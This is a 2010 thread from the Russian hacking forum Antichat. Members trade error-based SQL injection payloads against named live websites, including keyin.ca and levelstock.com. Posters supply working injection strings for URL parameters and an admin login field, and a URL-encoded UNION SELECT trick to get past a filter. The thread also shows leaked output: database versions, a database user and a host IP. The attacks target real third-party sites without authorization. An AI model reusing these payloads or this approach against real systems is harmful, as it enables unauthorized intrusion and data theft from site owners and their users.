Antichat снова доступен.
Форум Antichat (Античат) возвращается и снова открыт для пользователей.
Здесь обсуждаются безопасность, программирование, технологии и многое другое.
Сообщество снова собирается вместе.
Новый адрес: forum.antichat.xyz
 |
|
24.04.2010, 06:29
|
|
Участник форума
Регистрация: 17.09.2006
Сообщений: 248
Провел на форуме:
556476
Репутация:
66
|
|
народ прошу помоши в раскрутке через floor rand
вот версию и др инфо выводится норм но вот никак не могу выводит именя таблиц и колонок.
_http://www.le ve lst oc k.com/mod/emarket/index.php?page=2&sort=1%20and%20row(1,1)%3E(select %20count(*),concat(version(),0x3a,floor(rand()*2)) x%20from%20(select%201%20union%20select%202)a%20gr oup%20by%20x%20limit%201)--
_http://www.le ve ls to ck.com/mod/emarket/index.php?page=2&sort=1%20and%20row(1,1)%3E(select %20count(*),concat(database(),0x3a,floor(rand()*2) )x%20from%20(select%201%20union%20select%202)a%20g roup%20by%20x%20limit%201)--
может кто посоветует с правильным запросом для таблиц и колонок. Тут как только добавляю про information_schema.tables сразу ругается
|
|
|
24.04.2010, 07:19
|
|
Moderator - Level 7
Регистрация: 19.12.2008
Сообщений: 1,203
Провел на форуме:
5011696
Репутация:
2221
|
|
Просто фильтрация на from information_schema.tables
Последний раз редактировалось Ctacok; 24.04.2010 в 07:26..
|
|
|
|
24.04.2010, 09:59
|
|
Участник форума
Регистрация: 17.09.2006
Сообщений: 248
Провел на форуме:
556476
Репутация:
66
|
|
ну знаю что может быть фильтрация но я основном мучаюс что не могу составит правильный запрос с таким типам скуля. Ну стандартные вроде знаю но тут метод Qwazar как то не очень то гоняю. Попробовал через toolza там тоже не пашет
|
|
|
|
24.04.2010, 12:25
|
|
Новичок
Регистрация: 26.09.2009
Сообщений: 22
Провел на форуме:
44954
Репутация:
0
|
|
Сообщение от pinch
как можно обойти фильтрацию на select?? замучался уже стоит WAF
ну могыт так: selselectect )) хз
Мужики))хдд
http://www.bilandima.ru/html/promofoto.php?p=156_anasteshiya' ДИМА БИЛАН))хы
|
|
|
|
24.04.2010, 13:51
|
|
Участник форума
Регистрация: 13.12.2009
Сообщений: 130
Провел на форуме:
540530
Репутация:
54
|
|
http://www.keyin.ca/news.asp?id=52&news=showall
может найдется чувак который обойдет фильтр на select
|
|
|
|
24.04.2010, 14:53
|
|
Reservists Of Antichat - Level 6
Регистрация: 05.04.2009
Сообщений: 231
Провел на форуме:
3363660
Репутация:
1148
|
|
http://www.keyin.ca/admin/default.asp
в поле логин admin' or (1,2)=(select * from (select name_const(version(),1),name_const(version(),1))x)--
Duplicate column name '5.0.67.d7-ourdelta-log'
|
|
|
|
24.04.2010, 15:01
|
|
Участник форума
Регистрация: 13.12.2009
Сообщений: 130
Провел на форуме:
540530
Репутация:
54
|
|
это хорошо..=) но надо select обойти... меня не интересует админский доступ
очень интересует именно обход фильтра на select
|
|
|
|
24.04.2010, 15:14
|
|
Reservists Of Antichat - Level 6
Регистрация: 05.04.2009
Сообщений: 231
Провел на форуме:
3363660
Репутация:
1148
|
|
Сообщение от pinch
это хорошо..=) но надо select обойти... меня не интересует админский доступ
очень интересует именно обход фильтра на select
Крутите так, какая разница нах...
Какой обход.
' and (select 1 from (select count(0),concat(database(),':',user(),floor(rand(0 )*2)) from (select 1 union select 2 union select 3)x group by 2)a)#
Duplicate entry 'keyincollege:keyincollege@72.167.232.1721' for key 1
ps file_priv у юзера нет!
Последний раз редактировалось Strilo4ka; 24.04.2010 в 15:26..
|
|
|
|
24.04.2010, 15:34
|
|
Участник форума
Регистрация: 13.12.2009
Сообщений: 130
Провел на форуме:
540530
Репутация:
54
|
|
hahhaha т.е. какой нахер админский доступ, я имелл ввиду не уязвимость в другом параметре а именно обход фильтрации select в параметре id http://www.keyin.ca/news.asp?id=52&news=showall
|
|
|
|
24.04.2010, 16:23
|
|
Постоянный
Регистрация: 18.02.2008
Сообщений: 368
Провел на форуме:
4075418
Репутация:
386
|
|
Сообщение от pinch
hahhaha т.е. какой нахер админский доступ, я имелл ввиду не уязвимость в другом параметре а именно обход фильтрации select в параметре id http://www.keyin.ca/news.asp?id=52&news=showall
http://www.keyin.ca/news.asp?id=-52+union+%73%65%6C%65%63%74+1,2,3,version(),5&news =showall
|
|
|
|
|
|
|
|
Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
|
|
|
|
Похожие темы
Линейный вид
